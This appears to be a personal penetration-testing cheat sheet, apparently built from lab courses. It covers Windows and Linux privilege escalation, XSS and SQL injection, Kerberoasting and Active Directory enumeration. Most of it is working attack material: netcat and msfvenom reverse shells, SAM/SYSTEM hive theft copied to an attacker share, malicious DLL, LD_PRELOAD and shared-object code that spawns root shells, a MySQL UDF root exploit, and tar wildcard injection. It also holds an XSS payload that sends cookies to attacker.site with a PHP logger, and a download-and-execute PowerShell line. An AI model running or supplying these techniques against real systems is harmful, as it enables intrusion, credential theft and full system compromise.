# WINDOWS PRIVESC

## icacls

#check files or folder permissions

I - permission inherited from the parent container

F - full access (full control)

M - Modify right/access

OI - object inherit

IO - inherit only

CI - container inherit

RX - read and execute

AD - append data (add subdirectories)

WD - write data and add files

EX:

icacls C:\Documents

icacls C:\Documents /setowner Users

icacls (M) modify flag

C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp

1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe

1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F

Successfully processed 1 files.

C:\> sc stop windowsscheduler

C:\> sc start windowsscheduler

Remember: PowerShell has 'sc' as an alias to 'Set-Content', therefore you need to use 'sc.exe' to control services if you are in a PowerShell prompt.

## Stored Creds

cmdkey /list

runas /savecred /user:admin cmd.exe

web.config #can have passwords

C:\inetpub\wwwroot\web.config

C:\Windows\Microsoft.NET\Freamwork64\v4.53634\Config\web.config

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

#retrieve stored proxy credentials

reg query HKEY\_CURRENT\_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

## schtasks

schtasks /query /tn \*vulntask\* /fo list /v

#look at task to run, if you can control it, shellyboi

icacls C:\tasks\schtask.bat

echo c:\tools\nc64.exe -e cmd.exe IP PORT > C:\tasks\schtask.bat

schtasks /run /tn vulntask

## AlwaysInstallElevated

C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=ATTACKING\_10.10.93.117 LPORT=LOCAL\_PORT -f msi -o malicious.msi

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

## SeBackup / SeRestore:

backup the SAM and SYSTEM hashes

reg save hklm\system C:\Users\THMBackup\system.hive

reg save hklm\sam C:\Users\THMBackup\sam.hive

user@attackerpc$ mkdir share

user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

^ this makes a share named public that points to the share directory we just made

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER\_IP\public\

C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER\_IP\public\

secretsdump.py -sam sam.hive -system system.hive LOCAL

psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.145.47

## SeTakeOwnership

C:\> takeown /f C:\Windows\System32\Utilman.exe

icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

copy cmd.exe utilman.exe

## SeImpersonate / SeAssignPrimaryToken

RogueWinRM

RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER\_IP 4442"

## Unpatched Software

wmic product get name,version,vendor

\*\*\*Remember that the wmic product command may not return all installed programs. Depending on how some of the programs were installed, they might not get listed here. It is always worth checking desktop shortcuts, available services or generally any trace that indicates the existence of additional software that might be vulnerable.

## Hosts

C:\Windows\System32\drivers\etc\hosts

(GC C:\Windows\System32\drivers\etc\hosts | select -Skiplast 1) | SC C:\Windows\System32\drivers\etc\hosts

# WinEnum

systeminfo

hostname

wmic qfe #hotfixes

wmic qfe get Column,Names,Here

wmic logicaldisk #lists drives

## user

whoami /priv

whoami /groups

net user

## network

arp -a

route print

netstat -ano

passwords

## AV enum/firewall

sc query windefend

sc queryex type= service #all services running

netsh advfirewall firewall dump

netsh firewall show state

netsh firewall show config

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block

powershell -c "Get-NetFirewallRule -Direction Outbound -Enabled True -Action Block | Format-Table -Property DisplayName,@{Name='Protocol';Expression={($PSItem | Get-NetFirewallPortFilter).Protocol}},@{Name='LocalPort';Expression={($PSItem | Get-NetFirewallPortFilter).LocalPort}},@{Name='RemotePort';Expression={($PSItem | Get-NetFirewallPortFilter).RemotePort}},@{Name='RemoteAddress';Expression={($PSItem | Get-NetFirewallAddressFilter).RemoteAddress}}, Enabled, Profile,Direction,Action"

powershell -c Get-NetFirewallRule -Direction Outbound -Enabled True -Action Allow

## Automated Tools

Executable - winPEAS.exe, Seatbelt.exe, Watson.exe, SharpUp.exe

PowerShell - Sherlock.ps1, PowerUp.ps1, jaws-enum.ps1

## Windows Subsystem for Linux

wsl.exe [command]

where /R c:\windows bash.exe

Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /patch" exit' -Computer name.name.local

## cmdkey /list

C:\Windows\System32\runas.exe /user:ACCESS\Administrator /save cred "C:\Windows\System32\cmd.exe /c TYPE C:\Users\Administrator\Desktop\root.txt > C:\Users\security\root.txt"

readpst for .pst files

mdb-sql for .mdb files

autorun64.exe - sysinternals

accesschk64.exe -wvu "C:\Program"

## PowerUp.ps1

Get-Acl -Path hklm:\ - regsvc

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG\_EXPAND\_SZ /d c:\temp\x.exe /f

sc start regsvc

python -m pyftpdlib -p 21 --write (allows anonymous login)

icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

BUILTIN:Users <F> - full access <M> Modify

binwalk?!?!?!

mssqlclient.py

# Windows Privesc (cont.)

Windows Priv Esc

## USER ENUM

whoami /priv - current user privileges

net users - lists users

net user username (ie net user Administrator) - lists details of a user

qwinsta or query session - other users logged in

net localgroup - user groups defined on the system

net localgroup groupname (ie net localgroup Administrators) - lists members of a specific group

## systeminfo

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

hostname

## SEARCHING FILES

findstr

findstr /si password \*.txt

findstr: Searches for patterns of text in files.

/si: Searches the current directory and all subdirectories (s), ignores upper case / lower case differences (i)

password: The command will search for the string “password” in files

\*.txt: The search will cover files that have a .txt extension

## PATCH LEVEL

wmic qfe get Caption,Description,HotFixID,InstalledOn

## NETWORK CONNECTIONS

netstat -ano : lists all listening ports

-a: Displays all active connections and listening ports on the target system.

-n: Prevents name resolution. IP Addresses and ports are displayed with numbers instead of attempting to resolves names using DNS.

-o: Displays the process ID using each listed connection.

## SCHEDULED TASKS

schtasks

schtasks /query /fo LIST /v

## DRIVERS

driverquery

## ANTIVIRUS

sc query windefend

sc queryex type=service

## TOOLS

winPEAS - https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS

PowerUp - https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

powershell.exe -nop -exec bypass

Import-Module .\PowerUp.ps1

Invoke-AllChecks

Windows Exploit Suggester - https://github.com/AonCyberLabs/Windows-Exploit-Suggester

windows-exploit-suggester.py –update

windows-exploit-suggester.py --database 2021-09-21-mssb.xls --systeminfo sysinfo\_output.txt

https://github.com/bitsadmin/wesng

Metasploit - after Meterpreter shell, multi/recon/local\_exploit\_suggester

## Software

wmic service list brief

wmic service list brief | findstr "Running"

sc qc (service) , ie sc qc RemoteMouseService (note: this didn't work in powershell for some reason)

sc query state=all type=all

sc.exe query state= all

wmic product get Name,Version,Vendor | findstr "name"

## FINDING DLL VULNERABILITIES

Process Monitor (ProcMon) - requires admin priv

## SKELETON CODE FOR MALICIOUS DLL

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {

if (dwReason == DLL\_PROCESS\_ATTACH) {

system("cmd.exe /k whoami > C:\\Temp\\dll.txt");

ExitProcess(0);

}

return TRUE;

}

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

system("cmd.exe /k net user jack Password11");

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Use mingw compiler to generate DLL

apt install gcc-mingw-w64-x86-64

x86\_64-w64-mingw32-gcc windows\_dll.c -shared -o output.dll

start webserver on attackbox

on victim machine with Powershell: wget -O hijackme.dll ATTACKBOX\_IP:PORT/hijackme.dll

sc stop dllsvc & sc start dllsvc

remmina for RDP

## FINDING UNQUOTED SERVICE PATH VULNERABILITIES

wmic service get name,displayname,pathname,startmode

looking for path without quotes and any folder path with a space in its name (why?)

check privileges : .\accesschk64.exe /accepteula -uwdq "C:\Program Files\"

## FILE SEARCH

dir file.txt /s

## Kerberoasting

nidem/kerberoast

1) Get user SPNs

2) Get Service Tickets

Add-Type -AssemblyName System.IdentityModel

New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/xor-app23.xor.com:1433"

3) mimikatz

kerberos::list /export

4) ./tgsrepcrack.py wordlist.txt ticketgoeshere

serviceprincipalname {HTTP/ExchangeService.xor.com}

serviceprincipalname {HTTP/ExtMail.xor.com}

Powershell

Get-Process

Stop-Process

Remove-Item

User Name - Administrator

3fee04b01f59a1001a366a7681e95699

MSSQLSvc/xor-app23.xor.com:1433

3-40a50000-xor-app59$@ldap~xor-dc01.xor.com-XOR.COM.kirbi

4-40a50000-xor-app59$@ldap~xor-dc01.xor.com~DomainDnsZones.xor.com-XOR.COM.kirbi

5-40a50000-xor-app59$@cifs~xor-dc01.xor.com~xor.com-XOR.COM.kirbi

6-40a10000-xor-app59$@XOR-APP59$-XOR.COM.kirbi

7-40a50000-xor-app59$@LDAP~xor-dc01.xor.com~xor.com-XOR.COM.kirbi

# Linux Privesc

Linux Privesc

## System Info

hostname

uname -a

/proc/version

/etc/issue

ps

ps -A

ps axjf

ps aux

env

sudo -l

id

/etc/passwd

cat /etc/passwd | cut -d ":" -f 1

history

ifconfig

ip route

netstat -a/-at/au/-l/-s/-tp/-ltp/-i

netstat -ano (display all sockets/do not resolve names/ display timers)

https://www.cyberciti.biz/faq/unix-linux-check-if-port-is-in-use-command/

sudo lsof -i -P -n | grep LISTEN  
sudo netstat -tulpn | grep LISTEN  
sudo ss -tulpn | grep LISTEN  
sudo lsof -i:22 ## see a specific port such as 22 ##  
sudo nmap -sTU -O IP-address-Here

sudo lsof -i -P -n  
sudo lsof -i -P -n | grep LISTEN  
doas lsof -i -P -n | grep LISTEN # OpenBSD #

less /etc/services

netstat -tulpn | grep LISTEN

The netstat command deprecated for some time on Linux. Therefore, you need to use the ss command as follows:

sudo ss -tulw  
sudo ss -tulwn  
sudo ss -tulwn | grep LISTEN

### FreeBSD/macOS (OS X) netstat syntax

netstat -anp tcp | grep LISTEN  
netstat -anp udp | grep LISTEN

### OpenBSD netstat syntax

netstat -na -f inet | grep LISTEN  
netstat -nat | grep LISTEN

## Find

find . -name flag1.txt: find the file named “flag1.txt” in the current directory

find /home -name flag1.txt: find the file names “flag1.txt” in the /home directory

find / -type d -name config: find the directory named config under “/”

find / -type f -perm 0777: find files with the 777 permissions (files readable, writable, and executable by all users)

find / -perm a=x: find executable files

find /home -user frank: find all files for user “frank” under “/home”

find / -mtime 10: find files that were modified in the last 10 days

find / -atime 10: find files that were accessed in the last 10 day

find / -cmin -60: find files changed within the last hour (60 minutes)

find / -amin -60: find files accesses within the last hour (60 minutes)

find / -size 50M: find files with a 50 MB size

\* This command can also be used with (+) and (-) signs to specify a file that is larger or smaller than the given size.

It is important to note that the “find” command tends to generate errors which sometimes makes the output hard to read.

This is why it would be wise to use the “find” command with “-type f 2>/dev/null” to redirect errors to “/dev/null” and have a cleaner output (below).

find / -size +100M -type f 2>/dev/null

find / -writable -type d 2>/dev/null : Find world-writeable folders

find / -perm -222 -type d 2>/dev/null: Find world-writeable folders

find / -perm -o w -type d 2>/dev/null: Find world-writeable folders

find / -perm -o x -type d 2>/dev/null : Find world-executable folders

Find development tools and supported languages:

find / -name perl\*

find / -name python\*

find / -name gcc\*

find / -perm -u=s -type f 2>/dev/null: Find files with the SUID bit, which allows us to run the file with a higher privilege level than the current user.

python --version

## Automated Tools

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS

https://github.com/rebootuser/LinEnum

https://github.com/mzet-/linux-exploit-suggester

https://github.com/diego-treitos/linux-smart-enumeration

https://github.com/linted/linuxprivchecker

37292.c

gcc 37292.c

./a.out

openssl passwd -1 -salt USER password1

root:hash:0:0:root:/root:/bin/bash

$ find / -writable 2>/dev/null | grep usr | cut -d "/" -f 2,3 | sort -u

# Linux Tips

Linux Tips and Tricks

cd - goes back one directory

cd ~ goes to the home directory

cd / goes all the way to the top

pushd /directory changes directory while remembering the directory you started in

popd puts you back in that original directory

reset resets the shell, clears everything out

ctrl z puts program like vim/nano in the background, type fg for foreground to go back into it

htop monitor system resources

sudo !! if you run a command, and it tells you that you need sudo, using this will run the last command you tried with sudo

ctrl R lets you search previously run commands, ctrl C exits

history see commands run

!history# run commands from your history (!is called bang)

nano ~/.bashrc

HISTCONTROL=ignoreboth This will make it so commands run with a space at the front wont show up in history

HISTIMEFORMAT="%Y-%m-%d %T " This adds DTG to history

which (command) - lets you see if a command is installed

cmatrix - make you terminal look matrixy, F11 to fullscreen terminal, ctrl c to exit

ctrl shift + to increase font

ctrl - shrinks

ctrl u deletes everything to the left of the cursor

ctrl k deletes everything to the right of the cursor

ctrl a puts cursor at the front

ctrl e puts cursor at the end

CTRL-A and CTRL-E are also implemented with HOME and END respectively with most terminal software.

Running 2 commands

; or &&

semicolon will run the second command if the first fails

ampersands will fail entirely if the first fails

Also, when you chain commands with ||, you make sure that the second command runs only if the first one fails (for example: "command1 || command2" will only run command2 if command1 failed).

You can then make a construction like this:

(command && echo "success") || echo "failure" - this will "tell you" if the command was a success or not. If you redirect the output and perhaps include some timestamps,

you have simple logging that comes in handy in scripts, for example :)

tail -f file Allows you to watch a file as content is added to it, automatically updates

truncate -s 0 file Lets you remove everything in a file without deleting the file

| column -t cleans up messy outputs, lets you see them in a column format

ls -lah | tee file.txt This will take the standard output of the command to the left of the pipe and put it into a file

man -k '^passwd$' - -k is keyword, enclosing a word between ^and$ is a regular expression, matches the entire line to avoid sub-string matches

mkdir -p test/{recon,exploit,report} - make multiple directories at once

sudo updatedb - locate command uses a database, use this to manually update

# Linux Privesc (cont)

linux privesc part deux

## MySQL running as root:

https://www.exploit-db.com/exploits/1518

copy and paste into raptor\_udf2.c

Change into the /home/user/tools/mysql-udf directory:

cd /home/user/tools/mysql-udf

compile:

gcc -g -c raptor\_udf2.c -fPIC

gcc -g -shared -Wl,-soname,raptor\_udf2.so -o raptor\_udf2.so raptor\_udf2.o -lc

mysql -u root

use mysql;

create table foo(line blob);

insert into foo values(load\_file('/home/user/tools/mysql-udf/raptor\_udf2.so'));

select \* from foo into dumpfile '/usr/lib/mysql/plugin/raptor\_udf2.so';

create function do\_system returns integer soname 'raptor\_udf2.so';

select do\_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash'); (this should give you a chart/graph if successful)

exit with \q or type exit

/tmp/rootbash -p - executes the exploit and gives root shell

mkpasswd -m sha-512 newpasswordhere

openssl passwd newpasswordhere

/usr/sbin/apache2 - doesnt have a shell escape sequence on GTFOBins, how to use to gain root

sudo apache2 -f /etc/shadow - this will give roots full hash

## LD\_PRELOAD exploit

preload.c

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void \_init() {

unsetenv("LD\_PRELOAD");

setresuid(0,0,0);

system("/bin/bash -p");

}

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c - create a shared object

sudo LD\_PRELOAD=/tmp/preload.so program-name-here - program from sudo -l

ldd /usr/sbin/apache2 - shows shared libraries

gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library\_path.c - create shared object with same name as one of the libraries

sudo LD\_LIBRARY\_PATH=/tmp apache2 - changes path to /tmp where shared object from first step was compiled

## CRONJOB exploit

cat /etc/crontab

look at PATH

create cronfound.sh in PATH /home/user

#!/bin/bash

cp /bin/bash /tmp/rootbash

chmod +xs /tmp/rootbash

chmod +x /home/user/cronfound.sh

/tmp/rootbash -p

## CRONJOB with tar wildcard

msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf

transfer with scp or wget

chmod +x /home/user/shell.elf

touch /home/user/--checkpoint=1

touch /home/user/--checkpoint-action=exec=shell.elf

tar command in the cronjob runs, wildcard will include those files because their filenames are valid tar command line options and run them

set up listener on your machine

## SUID/SGID Executables

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

## SHARED OBJECT INJECTION

/usr/local/bin/suid-so

run strace, search the output for open/access calls and "no such file" errors

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

open("/home/user/.config/libcalc.so", O\_RDONLY) = -1 ENOENT (No such file or directory)

mkdir /home/user/.config

file named libcalc.c

#include <stdio.h>

#include <stdlib.h>

static void inject() \_\_attribute\_\_((constructor));

void inject() {

setuid(0);

system("/bin/bash -p");

}

compile ^ in the location suid-so was looking

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c

execute suid-so

/usr/local/bin/suid-so

this should give a shell

## ENVIRONMENT VARIABLES

/usr/local/bin/suid-env - can be exploited because it inherits the users PATH and attempts to execute without specifying an absolute path

run the executable

tries to start apache2

strings /usr/local/bin/suid-env

shows service is being used without the full path (/usr/bin/service)

make service file

service.c

int main() {

setuid(0);

system("/bin/bash -p");

}

compile

gcc -o service /home/user/tools/suid/service.c

PATH=.:$PATH /usr/local/bin/suid-env

get shell

suid-env2 has the full path specified

Bash version before 4.2-048

/bin/bash --version

create a bash function with the name /usr/sbin/service

function /usr/sbin/service { /bin/bash -p; }

export -f /usr/sbin/service

run env2

/usr/local/bin/suid-env2

get shell

Bash Version before 4.4

env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2

/tmp/rootbash -p

## PASSWORDS AND KEYS - HISTORY

cat ~/.\*history | less

## SSH KEYS

find ssh key

copy to attack machine

chmod 600 (I've also used 400)

ssh -i rsa\_id user@$IP -p#

## NFS

cat /etc/exports

/tmp has no\_root\_squash

on attackbox:

mkdir /tmp/nfs

mount -o rw,vers=2 10.10.10.10:/tmp /tmp/nfs

msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf

chmod +xs /tmp/nfs/shell.elf

on victim:

/tmp/shell.elf

# Web

## XSS

<script>alert('THM');</script>

"><script>alert('THM');</script>

</textarea><script>alert('THM');</script>

';alert('THM');//

<sscriptcript>alert('THM');</sscriptcript>

/images/cat.jpg" onload="alert('THM');

jaVasCript:/\*-/\*`/\*\`/\*'/\*"/\*\*/(/\* \*/onerror=alert('THM') )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert('THM')//>\x3e

textarea tags

</textarea>test

</textarea><script>alert('THM');</script>

</textarea><script>fetch('http://{URL\_OR\_IP}?cookie=' + btoa(document.cookie) );</script>

<script>alert (document.cookie)</script>

<script>

var i = new Image();

i.src="http://attacker.site/log.php?q="+document.cookie;

</script>

<?php

$filename="/tmp/log.txt";

$fp=fopen($filename, 'a');

$cookie=$\_GET['q];

fwrite($fp, $cookie);

fclose($fp);

?>

## SQL injection

SQL INJECTION

select \* from users; - \* retrieves from all columns , from (DATABASE)

select username,password from users;

select \* from users LIMIT 1; - LIMIT 1 only retrieves one row, LIMIT 1,1 will skip the first result, 2,1 will skip the first 2 results

select \* from users where username='admin'; - clause

select \* from users where username != 'admin';

select \* from users where username='admin' or username='jon';

select \* from users where username='admin' and password='p4ssword';

select \* from users where username like 'a%'; - % = wildcard, finds usernames that starts with the letter a

select \* from users where username like '%n'; - ends with letter n

select \* from users where username like '%mi%'; - contains letters mi

SELECT name,address,city,postcode from customers UNION SELECT company,address,city,postcode from suppliers; - ties two tables with UNION

insert into users (username,password) values ('bob','password123');

update users SET username='root',password='pass123' where username='admin';

delete from users where username='martin';

delete from users; - without clause, deletes everything from users table

;-- semicolon ends the sql statement in url and the -- makes all following a comment

0 UNION SELECT 1,2,database()

0 UNION SELECT 1,2,group\_concat(table\_name) FROM information\_schema.tables WHERE table\_schema = 'sqli\_four'

0 UNION SELECT 1,2,group\_concat(column\_name) FROM information\_schema.columns WHERE table\_name = 'staff\_users'

THM{SQL\_INJECTION\_3840}

# Active Directory

ACTIVE DIRECTORY

## Active Directory Data Store

NTDS.dit - contains all of the information of an Active Directory domain controller as well as password hashes for domain users

Stored by default in %SystemRoot%\NTDS

Accessible only by the domain controller

Forest is a collection of one or more domain trees inside of an AD network

Trees - hierarchy of domains

Domains - group and manage objects

Organizational Units - containers for groups, computers, users, printers and other OU's

Trusts - Allows users to access resources in other domains

Objects - users, groups, printers, computers, shares

Domain Services - DNS Server, LLMNR, IPv6

Domain Schema - Rules for object creation

## Users

Domain Admins - only one with access to domain controller

Service Accounts - used for service maintenance, required by Windows for some services

Local Administrators

Domain Users - everyday user

## Groups

Security Groups - specify permissions for large number of users

Distribution Groups - specify email distribution lists

## Default Security Groups

Domain Controllers - All domain controllers in the domain

Domain Guests - All domain guests

Domain Users - All domain users

Domain Computers - All workstations and servers joined to the domain

Domain Admins - Designated administrators of the domain

Enterprise Admins - Designated administrators of the enterprise

Schema Admins - Designated administrators of the schema

DNS Admins - DNS Administrators Group

DNS Update Proxy - DNS clients who are permitted to perform dynamic updates on behalf of some other clients (such as DHCP servers).

Allowed RODC Password Replication Group - Members in this group can have their passwords replicated to all read-only domain controllers in the domain

Group Policy Creator Owners - Members in this group can modify group policy for the domain

Denied RODC Password Replication Group - Members in this group cannot have their passwords replicated to any read-only domain controllers in the domain

Protected Users - Members of this group are afforded additional protections against authentication security threats. See http://go.microsoft.com/fwlink/?LinkId=298939 for more information.

Cert Publishers - Members of this group are permitted to publish certificates to the directory

Read-Only Domain Controllers - Members of this group are Read-Only Domain Controllers in the domain

Enterprise Read-Only Domain Controllers - Members of this group are Read-Only Domain Controllers in the enterprise

Key Admins - Members of this group can perform administrative actions on key objects within the domain.

Enterprise Key Admins - Members of this group can perform administrative actions on key objects within the forest.

Cloneable Domain Controllers - Members of this group that are domain controllers may be cloned.

RAS and IAS Servers - Servers in this group can access remote access properties of users

## Trusts

Directional - flows from a trusting domain to a trusted domain

Tansitive - expands beyond just 2 domains to include other trusted domains

Can abuse trusts sometimes to move laterally

## Domain Services

LDAP - Lightweight Directory Access Protocol; provides communication between applications and directory services

Certificate Services - allows the domain controller to create, validate and revoce public key certificates

DNS, LLMNR, NBT-NS - Domain Name Services for identifying IP hostnames

## Domain Authentication

Kerberos - the default authentication service for AD, uses tickets to authenticate users and give access to other resources

NTLM - default Windows authentication protocol uses encrypted challenge/response protocol

## Azure AD

Windows Server AD Azure AD

LDAP Rest APIs

NTLM OAuth/SAML

Kerberos OpenID

OU Tree Flat Structure

Domains and Forests Tenants

Trusts Guests

Get-DomainGroup -GroupScope NotGlobal -Properties name

## PowerView.ps1

iex (New-Object Net.WebClient).DownloadString(‘http://10.10.14.42/powerview.ps1’);get-netcomputer

Get-NetDomain – info about the current domain

Get-NetDomain -Domain DOMAIN\_NAME – results for another domain

Get-DomainSID – self explanatory

Get-DomainPolicy

(Get-DomainPolicy).”system access”

Get-NetDomainController – info about current DC

Get-NetUser – lists all users

Get-NetUser | select -expandproperty samaccountname

Get-UserProperty -Properties pwdlastset

Find-UserField -SearchField Description -SearchTerm “pass” – searches the description field

Get-NetComputer – list all computers on the current domain

Get-NetComputer -Ping – get all live hosts in the current domain

Get-NetGroup

Get-NetGroup \*admin\* - admin in the group name

Get-NetGroupMember -GroupName “Domain Admins”

Get-NetGroup -UserName “Name\_here” – groups users belongs to

Get-NetLocalGroup -ComputerName Client-01 – get all local admins on a machine

Get-NetLoggedon -ComputerName “Client-02”

Get-LastLoggedOn -ComputerName Client-02

Invoke-ShareFinder – find shares on hosts in current domain

### GPO Enum

Get-NetGPO -ComputerName client-02.fanzy.com

Find-GPOComputerAdmin -Computername client-02.fanzy.com – find users who have local admin rights

Graphical user interface

Description automatically generated

Find-GPOLocation -UserName NAME – find all computers that NAME has local admin rights

Get-NetOU

### Domain Trusts Enum

Get-NetDomainTrust

Get-NetForest

Get-NetForest -Forest name.com

Get-NetForestDomain

Get-NetForestCatalog

Get-NetForestTrust

### User Enum

Find-LocalAdminAccess

Invoke-EnumerateLocalAdmin

Invoke-UserHunter

Invoke-UserHunter -UserName “NAME”

Invoke-UserHunter -CheckAccess

### Access Control List Enum

Get-ObjectAcl -SamAccountName “users” -ResolveGUIDs – enum ACLs for the users group

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $\_.Name} – see of any users has a modification rights to a GPO

Get-ObjectAcl -SamAccountName labuser -ResolveGUIDs -RightsFilter "ResetPassword"